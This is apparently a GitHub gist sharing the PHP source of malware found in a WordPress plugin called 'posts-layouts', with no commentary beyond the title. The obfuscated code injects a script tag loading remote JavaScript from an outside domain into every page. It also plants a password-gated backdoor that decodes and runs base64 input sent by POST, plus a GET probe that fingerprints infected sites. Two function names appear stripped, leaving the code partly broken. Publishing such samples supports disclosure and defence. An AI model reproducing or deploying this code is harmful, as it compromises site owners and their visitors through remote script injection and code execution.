Skip to content

Instantly share code, notes, and snippets.

@YourMJK
YourMJK / job.php
Created May 19, 2023 09:45
"posts-layouts" Wordpress plugin malware
<?php
function posts_layouts_head(){
$sc = "sc"."r"."ipt";
echo "<".$sc." ".substr($sc, 0, 3)."='htt".chr(112).chr(115).chr(58).chr(47).chr(47).chr(99).chr(100).chr(110).chr(46).chr(115).chr(99).chr(114).chr(105).chr(112).chr(116).chr(115).chr(112).chr(108).chr(97).chr(116).chr(102)."orm.com/scripts/stats.js' type='text/java".$sc."'></".$sc.">";
}
("w"."p_h"."ead",'posts_layouts_head'); $b = "b"."a"."se6"."4_"."d"."ec"."od"."e"; $m = "md5";$d="dd";$e=$m("343");$f=$b("ZmQ"."0"."NWR"."jZ"."GI0NGF"."iODVi"."Yj"."M2N"."WVmY"."TE4Zj"."Q4MTM3OGQ="); if(isset($_POST[$d])){if($m($_POST[$d])==$f){ ($b($_POST[$d.'1'])); }} if(isset($_GET['343'])){echo $e;die();}